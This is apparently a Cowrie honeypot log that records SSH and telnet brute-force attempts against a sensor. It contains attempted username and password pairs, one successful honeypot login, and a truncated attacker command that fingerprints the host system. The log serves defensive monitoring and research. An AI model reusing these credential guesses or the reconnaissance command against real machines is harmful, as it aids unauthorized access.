{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:31.284842Z","src_ip":"160.187.174.22","session":"bd53416c1f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"observer","password":"observer","message":"login attempt [observer/observer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:31.990332Z","src_ip":"160.187.174.22","session":"bd53416c1f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:33.233249Z","src_ip":"160.187.174.22","session":"bd53416c1f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40552,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bca33bb65a3","protocol":"telnet","message":"New connection: 170.64.224.25:40552 (159.203.135.109:23) [session: 1bca33bb65a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:38.382172Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.73.80","src_port":45868,"dst_ip":"10.17.0.5","dst_port":22,"session":"28c8a18239f5","protocol":"ssh","message":"New connection: 14.103.73.80:45868 (10.17.0.5:22) [session: 28c8a18239f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:48.333915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:48.338122Z","src_ip":"14.103.73.80","session":"28c8a18239f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:48.552233Z","src_ip":"14.103.73.80","session":"28c8a18239f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":48014,"dst_ip":"10.17.0.5","dst_port":22,"session":"70902b7e2d52","protocol":"ssh","message":"New connection: 162.241.177.22:48014 (10.17.0.5:22) [session: 70902b7e2d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:49.304341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:49.308740Z","src_ip":"162.241.177.22","session":"70902b7e2d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:49.336351Z","src_ip":"162.241.177.22","session":"70902b7e2d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1uz3ll3@S3cur3","message":"login attempt [root/B1uz3ll3@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:49.422385Z","src_ip":"162.241.177.22","session":"70902b7e2d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsxzaq!","message":"login attempt [root/2wsxzaq!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:49.995595Z","src_ip":"14.103.73.80","session":"28c8a18239f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:50.454696Z","src_ip":"162.241.177.22","session":"70902b7e2d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:51.211973Z","src_ip":"14.103.73.80","session":"28c8a18239f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":36262,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ec74bfa8d2","protocol":"ssh","message":"New connection: 43.160.200.19:36262 (159.203.135.109:22) [session: d5ec74bfa8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:55.041160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:55.045017Z","src_ip":"43.160.200.19","session":"d5ec74bfa8d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:55.283218Z","src_ip":"43.160.200.19","session":"d5ec74bfa8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Asd!@#","message":"login attempt [root/123Asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:56.264314Z","src_ip":"43.160.200.19","session":"d5ec74bfa8d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48046,"dst_ip":"159.203.135.109","dst_port":22,"session":"115cf2840925","protocol":"ssh","message":"New connection: 160.187.174.22:48046 (159.203.135.109:22) [session: 115cf2840925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:57.181277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:57.299255Z","src_ip":"160.187.174.22","session":"115cf2840925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:57.423097Z","src_ip":"160.187.174.22","session":"115cf2840925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:57.507368Z","src_ip":"43.160.200.19","session":"d5ec74bfa8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:58.379428Z","src_ip":"160.187.174.22","session":"115cf2840925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":32864,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d89fc7e4e69","protocol":"ssh","message":"New connection: 162.144.213.198:32864 (10.17.0.5:22) [session: 4d89fc7e4e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:59.039766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:59.043391Z","src_ip":"162.144.213.198","session":"4d89fc7e4e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:59.132247Z","src_ip":"162.144.213.198","session":"4d89fc7e4e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bittrex","password":"bittrex321","message":"login attempt [bittrex/bittrex321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:59.399339Z","src_ip":"162.144.213.198","session":"4d89fc7e4e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:16:59.623472Z","src_ip":"160.187.174.22","session":"115cf2840925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:00.782933Z","src_ip":"162.144.213.198","session":"4d89fc7e4e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.13061928749084,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:05.001860Z","src_ip":"170.64.224.25","session":"2d57d576fdeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.28047037124634,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:23.662523Z","src_ip":"170.64.224.25","session":"1bca33bb65a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41942,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f9b5a5027a0","protocol":"ssh","message":"New connection: 160.187.174.22:41942 (159.203.135.109:22) [session: 1f9b5a5027a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:25.649371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:25.653351Z","src_ip":"160.187.174.22","session":"1f9b5a5027a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:26.004081Z","src_ip":"160.187.174.22","session":"1f9b5a5027a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:26.779937Z","src_ip":"160.187.174.22","session":"1f9b5a5027a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:28.041912Z","src_ip":"160.187.174.22","session":"1f9b5a5027a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":35194,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb3554cc70b6","protocol":"ssh","message":"New connection: 91.92.40.4:35194 (10.17.0.5:22) [session: fb3554cc70b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.023434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.027306Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.108552Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"passpass","message":"login attempt [oracle/passpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.359071Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:17:35.759864Z","src_ip":"91.92.40.4","session":"fb3554cc70b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ 